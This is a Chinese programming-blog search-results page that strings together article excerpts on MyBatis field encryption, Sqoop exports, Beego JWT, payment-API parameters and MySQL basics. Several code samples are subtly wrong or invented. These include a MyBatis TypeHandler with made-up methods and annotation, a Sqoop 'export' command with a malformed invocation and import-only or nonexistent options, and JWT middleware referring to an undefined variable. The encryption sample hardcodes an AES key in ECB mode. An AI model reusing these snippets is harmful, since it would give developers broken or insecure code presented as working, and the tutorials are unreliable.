前端技术
HTML
CSS
Javascript
前端框架和UI库
VUE
ReactJS
AngularJS
JQuery
NodeJS
JSON
Element-UI
Bootstrap
Material UI
服务端和客户端
Java
Python
PHP
Golang
Scala
Kotlin
Groovy
Ruby
Lua
.net
c#
c++
后端WEB和工程框架
SpringBoot
SpringCloud
Struts2
MyBatis
Hibernate
Tornado
Beego
Go-Spring
Go Gin
Go Iris
Dubbo
HessianRPC
Maven
Gradle
数据库
MySQL
Oracle
Mongo
中间件与web容器
Redis
MemCache
Etcd
Cassandra
Kafka
RabbitMQ
RocketMQ
ActiveMQ
Nacos
Consul
Tomcat
Nginx
Netty
大数据技术
Hive
Impala
ClickHouse
DorisDB
Greenplum
PostgreSQL
HBase
Kylin
Hadoop
Apache Pig
ZooKeeper
SeaTunnel
Sqoop
Datax
Flink
Spark
Mahout
数据搜索与日志
ElasticSearch
Apache Lucene
Apache Solr
Kibana
Logstash
数据可视化与OLAP
Apache Atlas
Superset
Saiku
Tesseract
系统与容器
Linux
Shell
Docker
Kubernetes
[自定义TypeHandler实现字段级加...]的搜索结果
这里是文章列表。热门标签的颜色随机变换,标签颜色没有特殊含义。
点击某个标签可搜索标签相关的文章。
点击某个标签可搜索标签相关的文章。
MyBatis
...取,许多企业都会选择加密数据。然而,在实际操作Mybatis-plus的时候,想要实现多个字段的加密,这可真是个让人挠破头的难题啊!这篇文章就来分享一下我自己的解决方案。 二、基本概念 在开始讲解具体的解决方案之前,我们先来看看什么是Mybatis-plus。Mybatis-plus是一个Mybatis的增强框架,提供了大量的便利功能,包括动态SQL、分页查询、事务管理等。在数据加密这一块儿,Mybatis-plus虽然没提供现成的支持功能,但是咱可以脑洞大开,借助它自带的TypeHandler这个小工具,自定义一个TypeHandler就能轻松实现加密需求啦。 三、实现原理 接下来我们来看看如何实现多个字段的加密。其实,这个问题的关键点就在于怎么在TypeHandler里头一块儿处理多个字段的加密问题,就像咱们平时做饭时,怎样一次性炒好几样菜一样。这就需要我们在自定义TypeHandler时,通过封装一系列的逻辑来实现。 四、具体步骤 下面我们将一步步地演示如何实现这个功能。 1. 创建TypeHandler 首先,我们需要创建一个新的TypeHandler,用来处理我们的加密操作。这里我们假设我们要对两个字段(field1和field2)进行加密,代码如下: java @MappedJdbcTypes(JdbcType.VARCHAR) @MappedTypes(String.class) public class EncryptTypeHandler extends BaseTypeHandler { private String key = "your secret key"; @Override public void setNonNullParameter(PreparedStatement ps, int i, String parameter, JdbcType jdbcType) throws SQLException { ps.setString(i, encrypt(parameter)); } @Override public String getNullableResult(ResultSet rs, String columnName) throws SQLException { return decrypt(rs.getString(columnName)); } private String encrypt(String str) { try { SecretKeySpec keySpec = new SecretKeySpec(key.getBytes(), "AES"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); cipher.init(Cipher.ENCRYPT_MODE, keySpec); byte[] encryptedBytes = cipher.doFinal(str.getBytes()); return Base64.getEncoder().encodeToString(encryptedBytes); } catch (Exception e) { throw new RuntimeException(e); } } private String decrypt(String encryptedStr) { try { SecretKeySpec keySpec = new SecretKeySpec(key.getBytes(), "AES"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); cipher.init(Cipher.DECRYPT_MODE, keySpec); byte[] decryptedBytes = cipher.doFinal(Base64.getDecoder().decode(encryptedStr)); return new String(decryptedBytes); } catch (Exception e) { throw new RuntimeException(e); } } } 在这个TypeHandler中,我们实现了setNonNullParameter和getNullableResult方法,分别用于设置和获取字段的值。在这些方法中,我们都调用了encrypt和decrypt方法来进行加密和解密操作。 2. 配置TypeHandler 接下来,我们需要在Mybatis的配置文件中配置这个TypeHandler。举个例子,实际上我们得在那个标签区域里头,给它添个新成员。具体操作就像这样:给这个新元素设定好它对应处理的Java类型和数据库类型,就像是给它分配了特定的任务一样。代码如下: xml 这样,我们就成功地配置了这个TypeHandler。 3. 使用TypeHandler 最后,我们可以在Mybatis的映射文件中使用这个TypeHandler来处理我们的加密字段。例如,如果我们有一个User实体类,其中有两个字段(field1和field2),我们就可以在映射文件中这样配置: xml SELECT FROM users; UPDATE users SET field1 = {field1}, field2 = {field2} WHERE id = {id}; 这样,当我们在查询或更新用户的时候,就会自动调用我们刚才配置的TypeHandler来进行加密操作。 五、总结 总的来说,通过利用Mybatis的TypeHandler功能,我们可以很方便地实现多个字段的加密。虽然这个过程可能稍微有点绕,不过只要我们把这背后的原理摸透了,就能像变戏法一样,在各种场景中轻松应对,游刃有余。 六、后续工作 未来,我们可以考虑进一步优化这个TypeHandler,让它能够支持更多的加密算法和加密模式。另外,咱们还可以琢磨一下把这个功能塞进其他的平台或者工具里头,让更多的小伙伴都能享受到它的便利之处。 这就是我对于Mybatis-plus多字段如何加密不同密码的一些理解和实践,希望能够对你有所帮助。如果你有任何问题或者建议,欢迎随时给我留言。
2023-07-21 08:07:55
148
飞鸟与鱼_t
JQuery
...v-model指令和自定义组件可以轻松实现表单数据绑定,并结合axios等库进行异步文件提交。 然而,JQuery仍然是许多遗留项目及对轻量化有较高需求场景下的可靠选择。值得注意的是,尽管原生JQuery不直接支持现代浏览器的fetch API,但开发者可以通过引入第三方插件(如jQuery-File-Upload)或者采用原生JavaScript配合FormData对象,实现更为先进的多文件上传、进度跟踪等功能。 最近,Bootstrap团队在最新版本中依然保持了对JQuery的兼容性,这进一步证明了即使在现代化前端生态下,JQuery仍然具有广泛的用户基础和实用价值。同时,对于初学者而言,理解并掌握JQuery的工作原理及其在表单提交方面的应用,有助于深入理解DOM操作和事件处理机制,为学习更复杂的前端框架打下坚实的基础。 另外,随着WebAssembly等新技术的发展,未来表单文件提交的方式可能会有更多创新突破。例如,利用WebAssembly可以在浏览器端实现高性能的数据预处理和加密,从而提高文件上传的安全性和效率。因此,无论是坚守经典的JQuery方案,还是拥抱新兴的前端框架和技术,持续关注和探索这一领域的发展动态都是至关重要的。
2023-12-06 09:25:31
280
数据库专家
MyBatis
...Java代码里给对象定义的各种属性(也就是字段),可以理解为把它们“翻译”过去,对应到数据库表的各个列类型上。就好比你设计一个游戏人物时,给它设定的各种属性,比如力量、敏捷度,然后在数据库这个大表格里,找到对应的格子填上这些属性,只不过这里的“属性”换成了“列类型”。 二、如何配置数据类型映射? 在MyBatis中,我们可以非常方便地进行数据类型映射。具体步骤如下: 1. 在mybatis-config.xml文件中配置全局映射 在mybatis-config.xml文件中,我们需要配置一个标签来指定一个特定的Java类型和数据库类型之间的映射。比如,如果我们手头有个Date类型的属性,我们或许会希望把它对应到数据库里的TIMESTAMP类型上。我们可以在mybatis-config.xml文件中这样配置: xml 这里,TypeHandler是自定义的一个接口,它有两个泛型参数,第一个参数是我们想要映射的Java类型,第二个参数是我们想要映射的数据库类型。 2. 自定义TypeHandler 接下来,我们需要创建一个实现了TypeHandler接口的类,并在这个类中重写write和read方法。这两个方法,各有各的神通,一个专门负责把Java对象里的内容神奇地变成数据库能理解并储存的值;另一个呢,则是反过来,能把数据库里躺着的数据,巧妙地转换成咱们Java世界里的对象。例如,我们可以创建如下的TypeHandler类: java public class DateToTimestampTypeHandler implements TypeHandler { @Override public void write(StringBuilder sql, Date date, BoundSql boundSql) { sql.append("TO_TIMESTAMP('").append(date).append("')"); } @Override public Date read(Class type, String source) { return new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").parse(source); } } 在这里,我们首先调用了父类的write方法,然后在SQL语句中添加了一个函数TO_TIMESTAMP,这个函数可以将日期字符串转换为TIMESTAMP类型。而在read方法中,我们将数据库返回的字符串转换为了日期对象。 3. 在实体类中使用注解进行映射 除了全局映射之外,我们还可以在实体类中使用@Type注解来进行一对一的映射。例如,如果我们有一个User类,其中有一个Date类型的生日属性,我们可以这样使用@Type注解: java public class User { private String name; @Type(type = "com.example.mybatis.DateToTimestampTypeHandler") private Date birthday; // getters and setters... } 在这里,我们指定了birthday属性应该使用DateToTimestampTypeHandler进行映射。 三、总结 通过以上步骤,我们就可以在MyBatis中完成数据类型映射了。这个功能简直不要太重要,它简直就是我们提升开发效率、减少无谓错误的小帮手,最关键的是,它还能让我们的代码变得更加简洁明了,读起来就像看小说一样轻松愉快!所以,希望大家能够熟练掌握并使用这个功能。
2023-12-18 11:45:51
118
半夏微凉-t
Superset
...源标识符(URI),实现与不同数据库系统的连接与交互。 SQLAlchemy URI , 全称为SQLAlchemy Uniform Resource Identifier,它是SQLAlchemy库中用于定义数据库连接信息的一种标准化字符串格式。在Superset中,用户可以通过自定义SQLAlchemy URI来精确指定数据库类型、服务器地址、端口、用户名、密码以及可能的额外连接参数(如SSL加密选项或字符集设置),从而实现对目标数据库的安全、高效接入。 数据源 , 在数据分析和可视化工具(如Apache Superset)中,数据源是指存储原始数据的源头位置,可以是一个关系型数据库、NoSQL数据库、大数据平台、API接口等。在本文语境下,数据源通常指代需要通过SQLAlchemy URI进行连接并从中提取数据的外部系统,以便在Superset中进一步进行数据分析与可视化展现。
2024-03-19 10:43:57
52
红尘漫步
Linux
...增了连续备份功能,可实现每6小时一次的增量备份,显著降低了RPO(恢复点目标),同时配合其全球分布式的存储架构,使得即使在大规模灾难场景下也能确保数据安全与业务连续性。 同时,在数据隐私和合规要求愈发严格的背景下,如何在进行备份时兼顾数据加密也成为了业界关注焦点。MongoDB支持TLS加密传输以及客户端字段级加密,以满足不同级别的数据安全保障需求。而在备份文件层面,企业可以结合开源工具如openssl等对备份数据进行加密存储,或采用云服务商提供的加密存储服务来进一步加固数据安全防线。 总而言之,随着技术的发展和实际需求的变化,MongoDB数据库备份策略应与时俱进,不断优化和完善,以适应更加复杂多变的数据保护挑战。通过深入理解并合理运用MongoDB的新特性及最佳实践,企业能够更好地保护自身的核心资产——数据,并为未来的稳健发展打下坚实基础。
2023-06-14 17:58:12
452
寂静森林_
SpringBoot
...ption(服务器端字段级加密)等功能,这些新特性使得MongoDB在处理实时数据流、保障敏感信息安全性等方面表现出更强的竞争力。对于正在使用SpringBoot集成MongoDB的开发者来说,关注并适时应用这些新特性,可以有效提升系统的性能与安全性。 同时,社区中关于SpringBoot+MongoDB的实战教程和经验分享层出不穷,比如有专家结合微服务架构模式,探讨如何利用Spring Cloud Data Flow构建基于MongoDB的数据管道,实现数据的实时处理与分析。因此,持续跟踪行业动态、参与社区讨论,结合实际业务需求探索SpringBoot与MongoDB的深度整合方案,是每一个追求技术创新的开发者应当关注的方向。
2023-04-09 13:34:32
76
岁月如歌-t
Tornado
...cket配合使用,以实现更灵活高效的数据同步机制。此外,对于大型分布式系统,如何保证WebSocket服务在集群环境下的高可用性和一致性也是值得深入研究的话题,例如通过负载均衡器配置WebSocket会话黏性或者采用专门的状态共享方案。 另外,在WebSocket安全方面,除了握手阶段的Sec-WebSocket-Accept验证之外,还需关注WebSocket连接期间的数据加密、防篡改及DDoS防护等问题。例如,可以结合TLS(Transport Layer Security)协议保障数据传输的安全,并采取合理的身份认证和权限控制措施,确保只有授权用户才能建立WebSocket连接。 总之,面对WebSocket在实际应用中可能出现的各种挑战,从保持技术前沿的认知更新,到细致入微的实战技巧打磨,再到全方位的安全防护布局,都是现代Web开发者需要不断跟进和探索的方向。而Tornado作为成熟的Python Web框架,其对WebSocket的支持将随着社区的共同努力和实践经验的积累,为开发者带来更加稳定可靠的实时通信解决方案。
2024-02-03 10:48:42
132
清风徐来-t
Apache Atlas
...技术手段,通过替换、加密、模糊化等方式将原始数据转化为无法直接识别个人身份或敏感属性的形式,但在整体结构和分布特征上与原数据保持一致。在本文的上下文中,Apache Atlas 提供了平台,让用户能够定义并实施各种数据脱敏策略,如对电话号码部分数字替换为星号,或隐藏身份证号码的部分数字,以此在满足法规要求的同时,降低数据泄露的风险,保障数据安全。 Apache Atlas , Apache Atlas 是一款开源的数据治理工具,由 Apache 软件基金会开发维护。该工具专注于元数据管理、数据血缘分析、数据分类和数据安全等方面,为企业提供了一个统一的数据治理框架。在本文中,Apache Atlas 作为实现数据脱敏策略的主要平台,用户可以通过它设置数据实体的脱敏规则,控制数据在查询、传输、存储过程中的敏感信息可见性,确保数据隐私保护和合规性要求。 数据实体 , 在数据库或数据管理系统中,数据实体是具有特定属性和关系的数据对象的抽象表示。在Apache Atlas 中,数据实体用来描述业务相关的数据模型,如用户表(User)、订单表(Order)等,包含多个字段(属性)。在本文所讨论的数据脱敏场景下,用户需要在Apache Atlas 中为数据实体定义脱敏策略,例如为用户表(User)中的userId 和 email 字段分别设置不同的脱敏规则,以确保敏感信息在展示或使用时得到有效的遮蔽处理。
2024-03-26 11:34:39
469
桃李春风一杯酒-t
MySQL
...生的ID、姓名和年龄字段。 步骤四:编写Sqoop脚本 现在我们可以使用Sqoop将HDFS中的数据导入到MySQL表中。以下是一个基本的Sqoop脚本示例: bash -sqoop --connect jdbc:mysql://localhost:3306/test \ -m 1 \ --num-mappers 1 \ --target-dir /user/hadoop/students \ --delete-target-dir \ --split-by id \ --as-textfile \ --fields-terminated-by '|' \ --null-string 'NULL' \ --null-non-string '\\N' \ --check-column id \ --check-nulls \ --query "SELECT id, name, age FROM students WHERE age > 18" 这个脚本做了以下几件事: - 使用--connect选项连接到MySQL服务器和测试数据库。 - 使用-m和--num-mappers选项设置映射器的数量。在这个例子中,我们只有一个映射器。 - 使用--target-dir选项指定输出目录。在这个例子中,我们将数据导出到/user/hadoop/students目录下。 - 使用--delete-target-dir选项删除目标目录中的所有内容,以防数据冲突。 - 使用--split-by选项指定根据哪个字段进行拆分。在这个例子中,我们将数据按学生ID进行拆分。 - 使用--as-textfile选项指定数据格式为文本文件。 - 使用--fields-terminated-by选项指定字段分隔符。在这个例子中,我们将字段分隔符设置为竖线(|)。 - 使用--null-string和--null-non-string选项指定空值的表示方式。在这个例子中,我们将NULL字符串设置为空格,将非字符串空值设置为\\N。 - 使用--check-column和--check-nulls选项指定检查哪个字段和是否有空值。在这个例子中,我们将检查学生ID是否为空,并且如果有,将记录为NULL。 - 使用--query选项指定要从中读取数据的SQL查询语句。在这个例子中,我们只选择年龄大于18的学生。 请注意,这只是一个基本的示例。实际的脚本可能会有所不同,具体取决于您的数据和需求。 步骤五:运行Sqoop脚本 最后,我们可以使用以下命令运行Sqoop脚本: bash -sqoop \ -Dmapreduce.job.user.classpath.first=true \ --libjars $SQOOP_HOME/lib/mysql-connector-java-8.0.24.jar \ --connect jdbc:mysql://localhost:3306/test \ -m 1 \ --num-mappers 1 \ --target-dir /user/hadoop/students \ --delete-target-dir \ --split-by id \ --as-textfile \ --fields-terminated-by '|' \ --null-string 'NULL' \ --null-non-string '\\N' \ --check-column id \ --check-nulls \ --query "SELECT id, name, age FROM students WHERE age > 18" 注意,我们添加了一个-Dmapreduce.job.user.classpath.first=true参数,这样就可以保证我们的自定义JAR包在任务的classpath列表中处于最前面的位置。 如果一切正常,我们应该可以看到一条成功的消息,并且可以在MySQL中看到导出的数据。 总结 本文介绍了如何使用Apache Sqoop将HDFS中的数据导出到MySQL数据库。咱们先给环境捯饬得妥妥当当,然后捣鼓出一个MySQL表,再接再厉,编了个Sqoop脚本。最后,咱就让这个脚本大展身手,把数据导出溜溜的。希望这篇文章能帮助你解决这个问题!
2023-04-12 16:50:07
247
素颜如水_t
转载文章
...介绍 使用此接口可以实现支付宝、QQ钱包、微信支付与财付通的即时到账,免签约,无需企业认证。接口API地址是:http://pay.lqan.cn/ 本文阅读对象:商户系统(在线购物平台、人工收银系统、自动化智能收银系统或其他)集成凉秋易支付涉及的技术架构师,研发工程师,测试工程师,系统运维工程师。 接口申请方式 共有两种接口模式: (一)普通支付商户 可以获得一个支付商户。请进行注册申请,申请之后会将商户ID和商户KEY给你! 协议规则 传输方式:HTTP 数据格式:JSON 签名算法:MD5 字符编码:UTF-8 [API]查询商户信息与结算规则 URL地址:http://pay.lqan.cn/api.php?act=query&pid={商户ID}&sign={签名字符串} 请求参数说明: 字段名变量名必填类型示例值描述 操作类型act是Stringquery此API固定值 商户IDpid是Int1001 签名字符串sign是String67d12af9ddbe38d9c7b0931ad102ca3c签名算法与支付宝签名算法相同 返回结果: 字段名变量名类型示例值描述 返回状态码codeInt11为成功,其它值为失败 商户IDpidInt1001所创建的商户ID 商户密钥keyString(32)89unJUB8HZ54Hj7x4nUj56HN4nUzUJ8i所创建的商户密钥 商户类型typeInt1此值暂无用 商户状态activeInt11为正常,0为封禁 商户余额moneyString0.00商户所拥有的余额 结算账号accountString1070077170@qq.com结算的支付宝账号 结算姓名usernameString张三结算的支付宝姓名 满多少自动结算settle_moneyString30此值为系统预定义 手动结算手续费settle_feeString1此值为系统预定义 每笔订单分成比例money_rateString98此值为系统预定义 [API]查询结算记录 URL地址:http://pay.lqan.cn/api.php?act=settle&pid={商户ID}&sign={签名字符串} 请求参数说明: 字段名变量名必填类型示例值描述 操作类型act是Stringsettle此API固定值 商户IDpid是Int1001 签名字符串sign是String67d12af9ddbe38d9c7b0931ad102ca3c签名算法与支付宝签名算法相同 返回结果: 字段名变量名类型示例值描述 返回状态码codeInt11为成功,其它值为失败 返回信息msgString查询结算记录成功! 结算记录dataArray结算记录列表 [API]查询单个订单 URL地址:http://pay.lqan.cn/api.php?act=order&pid={商户ID}&out_trade_no={商户订单号}&sign={签名字符串} 请求参数说明: 字段名变量名必填类型示例值描述 操作类型act是Stringorder此API固定值 商户IDpid是Int1001 商户订单号out_trade_no是String20160806151343349 签名字符串sign是String67d12af9ddbe38d9c7b0931ad102ca3c签名算法与支付宝签名算法相同 返回结果: 字段名变量名类型示例值描述 返回状态码codeInt11为成功,其它值为失败 返回信息msgString查询订单号成功! 易支付订单号trade_noString2016080622555342651凉秋易支付订单号 商户订单号out_trade_noString20160806151343349商户系统内部的订单号 支付方式typeStringalipayalipay:支付宝,tenpay:财付通, qqpay:QQ钱包,wxpay:微信支付 商户IDpidInt1001发起支付的商户ID 创建订单时间addtimeString2016-08-06 22:55:52 完成交易时间endtimeString2016-08-06 22:55:52 商品名称nameStringVIP会员 商品金额moneyString1.00 支付状态statusInt01为支付成功,0为未支付 [API]批量查询订单 URL地址:http://pay.lqan.cn/api.php?act=orders&pid={商户ID}&sign={签名字符串} 请求参数说明: 字段名变量名必填类型示例值描述 操作类型act是Stringorders此API固定值 商户IDpid是Int1001 查询订单数量limit否Int20返回的订单数量,最大50 签名字符串sign是String67d12af9ddbe38d9c7b0931ad102ca3c签名算法与支付宝签名算法相同 返回结果: 字段名变量名类型示例值描述 返回状态码codeInt11为成功,其它值为失败 返回信息msgString查询结算记录成功! 订单列表dataArray订单列表 [API]支付订单退款 URL地址:http://pay.lqan.cn/api.php?act=refund&pid={商户ID}&out_trade_no={商户订单号}&sign={签名字符串} 只支持微信官方、QQ钱包官方、当面付退款 请求参数说明: 字段名变量名必填类型示例值描述 操作类型act是Stringrefund此API固定值 商户IDpid是Int1001 商户订单号out_trade_no是Int1000 退款原因desc否String 退款金额money否Double20.00不填默认退全款 签名字符串sign是String67d12af9ddbe38d9c7b0931ad102ca3c签名算法与支付宝签名算法相同 返回结果: 字段名变量名类型示例值描述 返回状态码codeInt11为成功,其它值为失败 返回信息msgString退款成功! 发起支付请求 URL地址:http://pay.lqan.cn/submit.php?pid={商户ID}&type={支付方式}&out_trade_no={商户订单号}¬ify_url={服务器异步通知地址}&return_url={页面跳转通知地址}&name={商品名称}&money={金额}&sitename={网站名称}&sign={签名字符串}&sign_type=MD5 请求参数说明: 字段名变量名必填类型示例值描述 商户IDpid是Int1001 支付方式type是Stringalipayalipay:支付宝,tenpay:财付通, qqpay:QQ钱包,wxpay:微信支付 商户订单号out_trade_no是String20160806151343349 异步通知地址notify_url是Stringhttp://域名/notify_url.php服务器异步通知地址 跳转通知地址return_url是Stringhttp://域名/return_url.php页面跳转通知地址 商品名称name是StringVIP会员 商品金额money是String1.00 网站名称sitename否String某某某平台 签名字符串sign是String202cb962ac59075b964b07152d234b70签名算法与支付宝签名算法相同 签名类型sign_type是StringMD5默认为MD5 支付结果通知 通知类型:服务器异步通知(notify_url)、页面跳转通知(return_url) 请求方式:GET 特别说明:回调成功之后请输出 SUCCESS字符串,如果没有收到商户响应的SUCCESS字符串,系统将通过策略重新通知5次,通知频率为15s/60s/3m/30m/1h 请求参数说明: 字段名变量名必填类型示例值描述 商户IDpid是Int1001 易支付订单号trade_no是String20160806151343349021凉秋易支付订单号 商户订单号out_trade_no是String20160806151343349商户系统内部的订单号 支付方式type是Stringalipayalipay:支付宝,tenpay:财付通, qqpay:QQ钱包,wxpay:微信支付 商品名称name是StringVIP会员 商品金额money是String1.00 支付状态trade_status是StringTRADE_SUCCESS 签名字符串sign是String202cb962ac59075b964b07152d234b70签名算法与支付宝签名算法相同 签名类型sign_type是StringMD5默认为MD5 签名算法 请对参数按照键名进行降序排序(a-z)sign sign_type 和空值不进行签名!。 排序后请操作参数生成或拼接一个url请求字符串 例如 a=b&c=d&e=f (Url值不能携带参数!不要进行urlencode) 再将拼接好的请求字符串与平台生成的Key进行MD5加密得出sign签名参数 MD5 ( a=b&c=d&e=f + KEY ) (注意:+ 为各语言的拼接符!不是字符!) 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_39620334/article/details/115933932。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-12-18 16:55:58
91
转载
Beego
...在包裹上按的手印,用加密的方法保证了这东西是没被偷看或者变过样,而且能确认是它家快递员送来的,不是冒牌货。 在Beego框架中,我们可以利用第三方库如jwt-go来简化JWT的生成和验证过程。首先,需要在项目的依赖文件中添加如下内容: bash go get github.com/dgrijalva/jwt-go 接下来,在你的控制器中引入并使用jwt-go库: go package main import ( "github.com/dgrijalva/jwt-go" "github.com/beego/beego/v2/client/orm" "net/http" ) // 创建JWT密钥 var jwtKey = []byte("your-secret-key") type User struct { Id int64 orm:"column(id);pk" Name string orm:"column(name)" } func main() { // 初始化ORM orm.RegisterModel(new(User)) // 示例:创建用户并生成JWT令牌 user := &User{Name: "John Doe"} err := orm.Insert(user) if err != nil { panic(err) } token, err := createToken(user.Id) if err != nil { panic(err) } http.HandleFunc("/login", func(w http.ResponseWriter, r http.Request) { w.Write([]byte(token)) }) http.ListenAndServe(":8080", nil) } func createToken(userId int64) (string, error) { claims := jwt.StandardClaims{ Issuer: "YourApp", ExpiresAt: time.Now().Add(time.Hour 24).Unix(), Subject: userId, } token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims) return token.SignedString(jwtKey) } 2. JWT验证与解码 在用户请求资源时,我们需要验证JWT的有效性。Beego框架允许我们通过中间件轻松地实现这一功能: go func authMiddleware(next http.HandlerFunc) http.HandlerFunc { return func(w http.ResponseWriter, r http.Request) { tokenHeader := r.Header.Get("Authorization") if tokenHeader == "" { http.Error(w, "Unauthorized", http.StatusUnauthorized) return } tokenStr := strings.Replace(tokenHeader, "Bearer ", "", 1) token, err := jwt.Parse(tokenStr, func(token jwt.Token) (interface{}, error) { if _, ok := token.Method.(jwt.SigningMethodHMAC); !ok { return nil, fmt.Errorf("Unexpected signing method: %v", token.Header["alg"]) } return jwtKey, nil }) if err != nil { http.Error(w, "Unauthorized", http.StatusUnauthorized) return } if !token.Valid { http.Error(w, "Unauthorized", http.StatusUnauthorized) return } next.ServeHTTP(w, r) } } http.HandleFunc("/protected", authMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r http.Request) { claims := token.Claims.(jwt.MapClaims) userID := int(claims["subject"].(float64)) // 根据UserID获取用户信息或其他操作... }))) 3. 刷新令牌与过期处理 为了提高用户体验并减少用户在频繁登录的情况下的不便,可以实现一个令牌刷新机制。当JWT过期时,用户可以发送请求以获取新的令牌。这通常涉及到更新JWT的ExpiresAt字段,并相应地更新数据库中的记录。 go func refreshToken(w http.ResponseWriter, r http.Request) { claims := token.Claims.(jwt.MapClaims) userID := int(claims["subject"].(float64)) // 更新数据库中的用户信息以延长有效期 err := orm.Update(&User{Id: userID}, "expires_at = ?", time.Now().Add(time.Hour24)) if err != nil { http.Error(w, "Internal Server Error", http.StatusInternalServerError) return } newToken, err := createToken(userID) if err != nil { http.Error(w, "Internal Server Error", http.StatusInternalServerError) return } w.Write([]byte(newToken)) } 4. 总结与展望 通过上述步骤,我们不仅实现了JWT在Beego框架下的集成与管理,还探讨了其在实际应用中的实用性和灵活性。JWT令牌的生命周期管理对于增强Web应用的安全性和用户体验至关重要。哎呀,你懂的,就是说啊,咱们程序员小伙伴们要是能不断深入研究密码学这门学问,然后老老实实地跟着那些最佳做法走,那在面对各种安全问题的时候就轻松多了,咱开发出来的系统自然就又稳当又高效啦!就像是有了金刚钻,再硬的活儿都能干得溜溜的! 在未来的开发中,持续关注安全漏洞和最佳实践,不断优化和升级JWT的实现策略,将有助于进一步提升应用的安全性和性能。哎呀,随着科技这玩意儿越来越发达,咱们得留意一些新的认证方式啦。比如说 OAuth 2.0 啊,这种东西挺适合用在各种不同的场合和面对各种变化的需求时。你想想,就像咱们出门逛街,有时候用钱包,有时候用手机支付,对吧?认证机制也一样,得根据不同的情况选择最合适的方法,这样才能更灵活地应对各种挑战。所以,探索并尝试使用 OAuth 2.0 这类工具,让咱们的技术应用更加多样化和适应性强,听起来挺不错的嘛!
2024-10-15 16:05:11
70
风中飘零
转载文章
...t=utf8; 所有字段名,使用,所有的字符串使用''或者"" 查看建表语句 show create table book; 查看表结构 desc book; 修改表名 rename table book to book1; 修改表属性 ,引擎和字符集 alter table book1 engine=innodb charset=utf8; 添加字段 first after alter table book1 add(type varchar(20) comment '类型',numinput int(10) comment '进货量',numstore int(10) comment '库存量'); 修改字段名 bid bno alter table book1 change bid bno int(4); 修改顺序 pub 放到author后面 alter table book1 modify pub varchar(50) after author; 修改数据类型 bno int(4) -->int(10) alter table book1 modify bno int(10); 删除字段 alter table book1 drop 字段名; 删除表 drop table 表名; 插入语句 insert into book1(bno,bname,author,type) values(1001,'斗破苍穹','天蚕土豆','玄幻');insert into book1(bno,bname,author,type) values(1002,'全职高手','蝴蝶兰','网游竞技');insert into book1(bno,bname,author,type) values(1003,'鬼吹灯','天下霸唱','恐怖');insert into book1(bno,bname,author,type)values(1004,'西游记','吴承恩','4大名著');insert into book1(bno,bname,author,type)values(1005,'java基础','王克晶','达内学习手册'); update语句 把1005号书,修改成'天线宝宝',作者不详,类型少儿 把1004号书修改成'天龙八部',作者金庸,类型武侠 update book1 set bname="天线宝宝",author="作者不详",type="少儿" where bno=1005; 删除类型是'恐怖'的所有书籍 删除全表记录 删除表格 修改book名称为book_item rename table book to book_item; 在表格尾部添加字段price double(7,2) alter table book_item add price double(7,2); 把price字段的位置放到author之后 alter table book_item modify price double(7,2) after author; 把表中存在的数据添加价格,每本书都在100~1000之间,自定 update book_item set price=199 where bno=1001; 修改1001的价格为500元 把所有字段的null字段补全 update book_item set pub="达内出版社",numinput=500,numstore=100 where pub is null; 删除价格小于150的所有条目 删除所有数据 SQL分类 数据定义语言 DDL 重点 数据操纵语言 DML 重点 增 删 改 数据查询语言 DQL select 查 事务控制语言 TCL 数据库控制语言 DCL 数据定义语言 DDL - 负责数据结构定义,与创建数据库对象的语言- 常用create alter drop- DDL不支持事务,DDL语句执行之后,不能回滚 数据操纵语言 DML - 对数据库中更改数据操作的语句- select insert update delete--> CRUD 增删改查- 通常把select相关操作,单独出来,称之为DQL- DML支持事务,在非自动提交模式时,可以利用rollback回滚操作. 数据查询语言 DQL - 筛选,分组,连表查询 面试重点 TCL 和 DCL - 事务控制语句TCL- 负责实现数据库中事务支持的语言,commit rollback savepoint等指令- DCL数据库控制语言- 管理数据库的授权,角色控制等,grant(授权),revoke(取消授权) 练习: 案例:创建一张表customer(顾客) create table customer(cid int(4) primary key comment '顾客编号',cname varchar(50) comment '顾客姓名',sex char(5) comment '顾客性别',address varchar(50) comment '地址',phone varchar(11) comment '手机',email varchar(50) comment '邮箱'); show create table customer; 插入5条数据 insert into customer values(1001,'小明','男','楼上18号','123','123@163.com');insert into customer values(1002,'小红','女','楼上17号','1234','1234@163.com');insert into customer values(1003,'老王','男','楼上18号隔壁','1234','1234@163.com');insert into customer values(1004,'老宋','男','楼上17号隔壁','1234','1234@163.com');insert into customer values(1005,'小马','女','楼上17号隔壁','1234','1234@163.com'); -1 修改一条数据的姓名 小红的姓名 -2 修改一条数据的性别 老王的性别 -3 修改一条数据的电话 1001号的电话 -4 修改一条数据的邮箱 邮箱为123@163.com,改成323@163.com -5 查询性别为 男的所有数据 select from customer where sex="男"; -6 自定义DDL操作的需求,5道题,可以同上面book表的操作 数据库数据类型 主要包括5大类 整数类型 int, big int 浮点数类型 double decimal 字符串类型 char varchar text 日期类型 date datetime timestamp time year... 其他数据类型 set.... 字符串 - char(固定长度) 定长字符串 最多255个字节- 定多少长度,就占用多少长度- 多了放不进去,少了用空格补全- 不认识内容尾部的空格- varchar(最大长度) 变长字符串 最大65535字节,但是使用一般不超过255- 只要不超过定的长度,都可以放进去- 以内容真实长度为准- 认识内容尾部的空格- text 最大65535字节- blob 大数据对象,以二进制(字节)的方式存储 整数 tinyint 1字节 smallint 2字节 int 4字节 bigint 8字节 int(6)影响的是查询时显示长度(zerofill)不影响数据的保存长度 create table t1(id1 int,id2 int(5)); insert into t1 values(111111,111111); alter table t1 modify id1 int zerofill; alter table t1 modify id2 int(5) zerofill; insert into t1 values (1,1); float 4字节 double 8字节 double(8,2) 可能会产生精度的缺失 10.0/3 3.3333333336 decimal 不会缺失精度,但是使用的时候需要指定总长度和小数位数 日期 - date 年月日- time 时分秒- datetime 年月日时分秒,到9999年,而且需要手动输入,如果没有手动输入,就显示null.- timestamp 年月日时分秒,在没有数据手动插入时,自动填入当前时间.最大值2038- bigint 1970-1-1 0:0:0 